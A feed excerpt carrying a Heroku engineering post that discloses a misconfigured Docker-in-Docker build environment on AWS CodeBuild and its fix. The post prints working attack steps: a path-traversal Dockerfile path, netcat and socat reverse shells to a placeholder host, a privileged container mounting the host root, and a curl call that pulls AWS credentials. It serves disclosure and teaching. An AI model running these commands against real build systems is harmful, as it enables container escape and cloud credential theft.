&lt;p&gt;System hygiene (ephemerality, immutability, patching, etc) is the foundation of securable systems. Safe and open communication around vulnerabilities being patched raises awareness of similar weaknesses affecting our entire computing ecosystem. You might think of this as how our immunity to classes of vulnerabilities evolve, protecting our infrastructure.&lt;/p&gt;

&lt;p&gt;At Heroku we closely monitor security research and vulnerability disclosure. Our belief and investment in the safe discussion around vulnerabilities works to ensure our software stack is kept up to date and our customers are protected.&lt;/p&gt;

&lt;p&gt;Patch management forms an integral part of the security life-cycle and cannot be a static process of simply applying patches. Reviewing and understanding the underlying causes of vulnerabilities being patched can help identify further vulnerabilities in the affected software, or even completely different software packages. We closely monitor security research and vulnerability disclosure to ensure our software stack is kept up to date and our customers are protected.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;If you liked this post, check out &lt;a href="https://blog.heroku.com/engineering" rel="noopener noreferrer"&gt;Heroku's Engineering Blog&lt;/a&gt; for more about how we build Heroku.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ruby</category>
      <category>cve</category>
      <category>vulnerability</category>
    </item>
    <item>
      <title>A House of Cards: An Exploration of Security When Building Docker Containers</title>
      <dc:creator>Etienne Stalmans</dc:creator>
      <pubDate>Thu, 08 Mar 2018 17:15:47 +0000</pubDate>
      <link>https://dev.to/heroku/a-house-of-cards-an-exploration-of-security-when-building-docker-containers--33in</link>
      <guid>https://dev.to/heroku/a-house-of-cards-an-exploration-of-security-when-building-docker-containers--33in</guid>
      <description>&lt;p&gt;&lt;em&gt;This post originally appeared on Heroku's &lt;a href="https://blog.heroku.com/engineering" rel="noopener noreferrer"&gt;Engineering Blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Containers, specifically Docker, are all the rage. Most DevOps setups feature Docker somewhere in the CI pipeline. This likely means that any &lt;em&gt;build&lt;/em&gt; environment you look at, will be using a container solution such as Docker. These build environments need to take &lt;em&gt;untrusted&lt;/em&gt; user-supplied code and execute it. It makes sense to try and securely containerize this to minimize risk.&lt;/p&gt;

&lt;p&gt;In this post, we’re going to explore how a small misconfiguration in a build environment can create a severe security risk.&lt;/p&gt;

&lt;p&gt;It's important to note that this post does not describe any inherent vulnerability in Heroku, Docker, AWS CodeBuild, or containers in general, but discusses a misconfiguration issue that was found when reviewing a Docker container based, multi-tenant build environment. These technologies offer pretty solid security defaults out of the box, but when things start to get layered together, sometimes small misconfigurations can cause large issues.&lt;/p&gt;

&lt;h2&gt;
  
  
  Building
&lt;/h2&gt;

&lt;p&gt;A possible build environment could have the following architecture:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AWS CodeBuild for infrastructure "hosting"&lt;/li&gt;
&lt;li&gt;A Docker container in Docker build service&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Docker container could be created through &lt;a href="https://github.com/jpetazzo/dind" rel="noopener noreferrer"&gt;Dind&lt;/a&gt; and in theory, you end up with two containers that an attacker would need to escape. Using CodeBuild minimizes the attack surface further as you have single-use containers supplied by AWS, with no danger of tenants interacting with each other's build process.&lt;/p&gt;

&lt;p&gt;Let’s have a look at the proposed build process, and more specifically, how an attacker would be able to control the build process.&lt;/p&gt;

&lt;p&gt;The first thing to do in most build/CI pipelines would be to create a &lt;code&gt;git&lt;/code&gt; repository with the code you wish to build and deploy. This would get packaged up and transferred to the build environment and then passed through to the &lt;code&gt;docker build&lt;/code&gt; process.&lt;/p&gt;

&lt;p&gt;Looking at build services you usually find two ways a container can be provisioned - through a &lt;em&gt;Dockerfile&lt;/em&gt; or a &lt;em&gt;config.yml&lt;/em&gt;, both of which get bundled along with the source code.&lt;/p&gt;

&lt;p&gt;A CI config file, let's call it &lt;em&gt;config-ci.yml&lt;/em&gt;, could look as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;image: ruby:2.1
services:
 - postgres

before_script:
 - bundle install

after_script:
 - rm secrets

stages:
 - build
 - test
 - deploy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This file then gets converted into a Dockerfile by the build process, before the rest of the build kicks off.&lt;/p&gt;

&lt;p&gt;In the case where you explicitly specify a &lt;em&gt;Dockerfile&lt;/em&gt; to be used, you change the &lt;em&gt;config-ci.yml&lt;/em&gt; to the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker:
     web: Dockerfile_Web
     worker: Dockerfile_Worker
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Where &lt;code&gt;Dockerfile_Web&lt;/code&gt; and &lt;code&gt;Dockerfile_Worker&lt;/code&gt; are the relative paths and names of the Dockerfiles in the source code repository.&lt;/p&gt;

&lt;p&gt;Now that the build information has been supplied, the build could be initiated. The build is normally started through a &lt;code&gt;git push&lt;/code&gt; on the source repository. When this is initiated you would see output similar to the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Counting objects: 22, done.
Delta compression using up to 8 threads.
Compressing objects: 100% (21/21), done.
Writing objects: 100% (22/22), 7.11 KiB | 7.11 MiB/s, done.
Total 22 (delta 11), reused 0 (delta 0)
remote: Compressing source files... done.
remote: Building source:
remote: Downloading application source...
remote: Sending build context to Docker daemon 19.97kB
remote: Step 1/9 : FROM alpine:latest
remote: latest: Pulling from library/alpine
remote: b56ae66c2937: Pulling fs layer
remote: b56ae66c2937: Download complete
remote: b56ae66c2937: Pull complete
remote: Digest: sha256:d6bfc3baf615209a8d607ba2a8103d9c8a405b3bd8741d88b4bef36478
remote: Status: Downloaded newer image for alpine:latest
remote: ---&amp;gt; 053cde6e8953
remote: Step 2/9 : RUN apk add --update --no-cache netcat-openbsd docker
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see, we have the output of &lt;code&gt;docker build -f Dockerfile .&lt;/code&gt; being returned to us, useful for debugging, but also useful for seeing possible attacks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attacking Pre-Build
&lt;/h2&gt;

&lt;p&gt;The first idea that came to mind was to try and interrupt the build process before we even get into the &lt;code&gt;docker build&lt;/code&gt; step. Alternatively, we could attempt to try and link in files from the CodeBuild environment, into our Docker build context.&lt;/p&gt;

&lt;p&gt;Since we controlled the &lt;em&gt;config-ci.yml&lt;/em&gt; file contents, and more specifically the &lt;em&gt;"relative path to the Dockerfile to use"&lt;/em&gt;, we could try an old fashioned directory traversal attack.&lt;/p&gt;

&lt;p&gt;The first attempt at this was to simply try and change the directory being used for the build:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker:
   web: ../../../../../
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once the build process started, we immediately got the following error:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Error response from daemon: unexpected error reading Dockerfile: read /var/lib/docker/tmp/docker-builder991278373/output: is a directory
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Interesting, we have caused an error and have a path leak. What happens if we try and "&lt;em&gt;read&lt;/em&gt;" a file?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker:
   web: ../../../../../../../etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And suddenly we have parsing errors from the Docker daemon. Unfortunately this will only give us the first line of files on the system. Nonetheless, an interesting start.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Error response from daemon: Dockerfile parse error line 1: unknown instruction: ROOT:X:0:0:ROOT:/ROOT:/BIN/BASH
t-
Error response from daemon: Dockerfile parse error line 1: unknown instruction: ROOT:*:17445:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Another idea here could be to try and use symlinks to include files into our build. Fortunately, Docker prevents this, as it won't include files from outside the build directory into the build context.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attacking the Build: Vulnerability Found
&lt;/h2&gt;

&lt;p&gt;Time to go back to the actual build process and see what we could attack. A quick refresher: the build process is happening inside the &lt;code&gt;dind&lt;/code&gt; Docker container, which is running inside a one-off CodeBuild instance. To further add to our layers, the &lt;code&gt;docker build&lt;/code&gt; process runs all commands in one-off Docker containers. This is standard fare for Docker, each step of a Docker build is actually a new Docker container, as can be seen in the output from our build process.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;remote: ---&amp;gt; 053cde6e8953
remote: Step 2/9 : RUN apk add --update --no-cache netcat-openbsd docker
remote: ---&amp;gt; Running in e7e10023b1fc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the above case, step 2/9 is executed in a new Docker container e7e10023b1fc. So even if a user decides to insert some malicious code into the Dockerfile, they should be running in a one-off, isolated container, unable to do any damage. This is depicted below;&lt;/p&gt;

&lt;p&gt;&lt;a class="mentioned-user" href="https://dev.to/media"&gt;@media&lt;/a&gt; only screen and&lt;br&gt;
  (min-width: 415px) {&lt;br&gt;
    #diagram1 { width: 70%; }&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;&lt;a class="mentioned-user" href="https://dev.to/media"&gt;@media&lt;/a&gt; only screen and&lt;br&gt;
  (max-width: 414px) &lt;br&gt;
  and (orientation: portrait) { &lt;br&gt;
    #diagram1 { width: 100%; }&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsstyr8o7n7kx2cfnnc4y.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsstyr8o7n7kx2cfnnc4y.jpg" width="800" height="588"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When issuing Docker commands, these are actually passed to the &lt;code&gt;dockerd&lt;/code&gt; daemon which is in-charge of creating/running/managing Docker images. For dind to work, it would need to be running its own Docker daemon. However, the way that dind is implemented it uses the host system's dockerd instance, allowing the host and dind to share Docker images and benefit from all the caching Docker does.&lt;/p&gt;

&lt;p&gt;What if Dind is started up with the following wrapper script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/local/bin/dind dockerd \
   --host=unix:///var/run/docker.sock \
   --host=tcp://0.0.0.0:2375 \
   --storage-driver=overlay &amp;amp;&amp;gt;/var/log/docker.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Where &lt;code&gt;/usr/local/bin/dind&lt;/code&gt; is simply a wrapper script to get Docker running inside a container.&lt;/p&gt;

&lt;p&gt;The wrapper script ensures that the Docker socket from the host is made available inside the container. This specific configuration introduces a security vulnerability.&lt;/p&gt;

&lt;p&gt;Normally the &lt;code&gt;docker build&lt;/code&gt; process would have no way to interact with the Docker daemon, however, in this case, we are able to. The keen observer might notice that the TCP port for the &lt;code&gt;dockerd&lt;/code&gt; daemon is also mapped through, &lt;code&gt;--host=tcp://0.0.0.0:2375&lt;/code&gt;. This misconfiguration sets the Docker daemon to listen on all interfaces of the container. This becomes an issue due to the way Docker networking functions. All containers are put into the same default Docker network unless otherwise specified. This means each container is able to communicate with each other container, without hindrance.&lt;/p&gt;

&lt;p&gt;Now during our build process, our temporary build container (the one executing user code) is able to issue network requests to the dind container hosting it. And because the dind container is simply reusing the host system's Docker daemon, we actually issue commands directly to the host system, AWS CodeBuild.&lt;/p&gt;

&lt;h3&gt;
  
  
  When Dockerfiles Attack
&lt;/h3&gt;

&lt;p&gt;To test this, the following Dockerfile could be supplied to the build system, allowing us to gain interactive access to the container being built. This simply allows for speedier exploration, rather than waiting for the build process to complete each time;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FROM alpine:latest

RUN apk add --update --no-cache netcat-openbsd docker
RUN mkdir /files
COPY * /files/
RUN mknod /tmp/back p
RUN /bin/sh 0&amp;lt;/tmp/back | nc x.x.x.x 4445 1&amp;gt;/tmp/back
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yes, the reverse shell could be done in &lt;a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet" rel="noopener noreferrer"&gt;a bunch of different ways&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This Dockerfile installs a few dependencies, namely &lt;code&gt;docker&lt;/code&gt; and &lt;code&gt;netcat&lt;/code&gt;. It then copies the files in our source code directory into the build container. This will be needed in a later step and also makes it easier to quickly transfer our full exploit to the system. The &lt;code&gt;mknod&lt;/code&gt; instruction creates a filesystem node that allows for redirection of stdin and stdout through the file. A reverse shell is opened using &lt;code&gt;netcat&lt;/code&gt;. We also need to setup a listener for this reverse shell on an system we control with a public IP address.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nc -lv 4445
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now when the build happens, a reverse connection will be received:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ec2-user@ip-172-31-18-217 ~]$ nc -lv 4445
Connection from 34.228.4.217 port 4445 [tcp/upnotifyp] accepted

ls
bin
dev
etc
files
home
lib
media
mnt
proc
root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now with remote, interactive, access, we could check if the Docker daemon could be accessed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker -H 172.18.0.1 version
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We specify the &lt;em&gt;remote&lt;/em&gt; host by using &lt;code&gt;-H 172.18.0.1&lt;/code&gt;. This address was used since we have discovered that the network range being used by Docker is &lt;code&gt;172.18.0.0/16&lt;/code&gt;. To find this, our interactive shell is used to do a &lt;code&gt;ip addr&lt;/code&gt; and &lt;code&gt;ip route&lt;/code&gt; to get the network assigned to our build container. Remember that all Docker containers get put into the same network by default. The default gateway would be the instance that the Docker daemon is running on.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client:
Version: 17.05.0-ce
API version: 1.29
Go version: go1.8.1
Git commit: v17.05.0-ce
Built: Tue May 16 10:10:15 2017
OS/Arch: linux/amd64

Server:
Version: 17.09.0-ce
API version: 1.32 (minimum version 1.12)
Go version: go1.8.3
Git commit: afdb6d4
Built: Tue Sep 26 22:40:56 2017
OS/Arch: linux/amd64
Experimental: false
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Success! At this point we have access to Docker from within the container being built. The next step is to start up a new container with additional privileges.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stack Them
&lt;/h3&gt;

&lt;p&gt;We have a shell, but it is in the throw-away build container - not very helpful. We also have access to the Docker daemon. How about combining the two? For this, we introduce a second Dockerfile, which when built and run will create a reverse shell. We start up a second listener to catch the new shell.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FROM alpine:latest

RUN apk add --update --no-cache bash socat
CMD socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:x.x.x.x:4446
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is saved as Dockerfile2 in the source-code directory. Now when the source-code files are copied into the build container, we can access it directly.&lt;/p&gt;

&lt;p&gt;When we re-run the build process, we would get our first reverse shell on port &lt;em&gt;4445&lt;/em&gt;, which leaves us in the build container. Now we can build Dockerfile2, which was copied into our build container with &lt;code&gt;COPY * /files/&lt;/code&gt;;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cd files
docker -H 172.18.0.1 build -f Dockerfile2 -t pew .
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A new Docker image is now built using the host Docker daemon and is available. We simply need to run it. Here there is an additional trick needed, we need to map through the root directory into the new Docker container. This can be done with &lt;code&gt;-v /:/vhost&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In our first reverse shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker -H 172.18.0.1 run -d --privileged --net=host -v /:/vhost pew
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A new reverse shell will now connect to port &lt;em&gt;4446&lt;/em&gt; on our attacker system. This drops us into a shell in a new container with direct access to the underlying CodeBuild host's filesystem and network. This is because the &lt;code&gt;--net=host&lt;/code&gt; will map through the host network instead of keeping the container in an isolated network. Secondly, because the Docker daemon is running on the host system, when the file mapping with &lt;code&gt;-v /:/vhost&lt;/code&gt; is done, the host system's filesystem is mapped through.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frztcj0b4f3a1jv4001q1.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frztcj0b4f3a1jv4001q1.jpg" width="800" height="368"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the new reverse shell, it's now possible to explore the underlying host filesystem. We could prove we are outside of Docker when interacting with this filesystem, by checking the difference between &lt;code&gt;/etc/passwd&lt;/code&gt; and &lt;code&gt;/vhost/etc/passwd&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Inside &lt;code&gt;/vhost&lt;/code&gt; we also found that there was a new directory, which clearly indicates we are inside the CodeBuild instances filesystem and not just any Docker container;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;243e490ebd3:/# cd /vhost/
3243e490ebd3:/vhost# ls
bin dev lib mnt root srv usr
boot etc lib64 opt run sys var
codebuild home media proc sbin tmp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The magic happens inside &lt;code&gt;codebuild&lt;/code&gt;. This is what AWS Codebuild uses to control the build environment. A quick look around reveals some interesting data.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;3243e490ebd3:/vhost/codebuild# cat output/tmp/env.sh
export AWS_CONTAINER_CREDENTIALS_RELATIVE_URI='/v2/credentials/e13864de-c2aa-44ab-be11-59137341289d'
export AWS_DEFAULT_REGION='us-east-1'
export AWS_REGION='us-east-1'
export BUILD_ENQUEUED_AT='2017-11-20T15:06:37Z'
export CODEBUILD_AUTH_TOKEN='11111111-2222-3333-4444-555555555555'
export CODEBUILD_BMR_URL='https://CODEBUILD_AGENT:3000'
export CODEBUILD_BUILD_ARN='arn:aws:codebuild:us-east-1:00112233445566:user:11111111-2222-3333-4444-555555555555'
export CODEBUILD_BUILD_ID='111111:11111111-2222-3333-4444-555555555555'
export CODEBUILD_BUILD_IMAGE='codebuild/image'
export CODEBUILD_BUILD_SUCCEEDING='1'
export CODEBUILD_GOPATH='/codebuild/output/src794734460'
export CODEBUILD_INITIATOR='api-client-production'
export CODEBUILD_KMS_KEY_ID='arn:aws:kms:us-east-1:112233445566:alias/aws/s3'
export CODEBUILD_LAST_EXIT='0'
export CODEBUILD_LOG_PATH='0ff0b448-6bed-4af1-8be5-539233fa2e9e'
export CODEBUILD_SOURCE_REPO_URL='builder/builder-source.zip'
export CODEBUILD_SRC_DIR='/codebuild/output/src794734460/src/builder-source.zip'
export DIND_COMMIT='3b5fac462d21ca164b3778647420016315289034'
export DOCKER_VERSION='17.09.0~ce-0~ubuntu'
export GOPATH='/codebuild/output/src794734460'
export HOME='/root'
export HOSTNAME='3243e490ebd3'
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point, we would usually try and extract AWS credentials and pivot. To do this here we need to use the &lt;code&gt;AWS_CONTAINER_CREDENTIALS_RELATIVE_URI&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -i http://169.254.170.2/v2/credentials/e13864de-c2aa-44ab-be11-59137341289d

{"RoleArn":"AQIC...",
"AccessKeyId":"ASIA....",
"SecretAccessKey":"uVNs32...",
"Token":"AgoGb3JpZ2luEJP...",
"Expiration":"2017-11-20T16:06:50Z"}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Depending on the permissions associated with that IAM, there should now be the opportunity to move around the AWS environment.&lt;/p&gt;

&lt;p&gt;The above steps could be automated and done with only one reverse shell, however, remember that you need to keep the build environment &lt;em&gt;alive&lt;/em&gt;. Having a reverse shell in here does that, but a long-running process should also do the trick. The main thing is you don't want the initial &lt;code&gt;docker build&lt;/code&gt; to complete, as this will initiate the tear-down of your build environment. Also, note most build environments tend to give you 30-60min before they are automatically torn down.&lt;/p&gt;

&lt;h2&gt;
  
  
  Patching
&lt;/h2&gt;

&lt;p&gt;The fix, in this case, is extremely simple, never bind the Docker daemon on all interfaces. Removing the line &lt;code&gt;--host=tcp://0.0.0.0:2375&lt;/code&gt; from the wrapper script takes care of this. There is no need to bind to a TCP port, since the &lt;em&gt;unix&lt;/em&gt; socket is already being mapped through with &lt;code&gt;--host=unix:///var/run/docker.sock&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Containers offer a great mechanism for creating secured environments in which to run untrusted code, without requiring additional virtualization. These containers are however only as secure as their configuration. They are pretty secure by default, but a single misconfiguration is all it takes to bring down the whole pile of cards. Build environments offer an interesting architectural challenge and you'll always need to think in terms of security layers.&lt;/p&gt;

</description>
      <category>security</category>
      <category>docker</category>
      <category>ci</category>
    </item>
  </channel>
</rss>
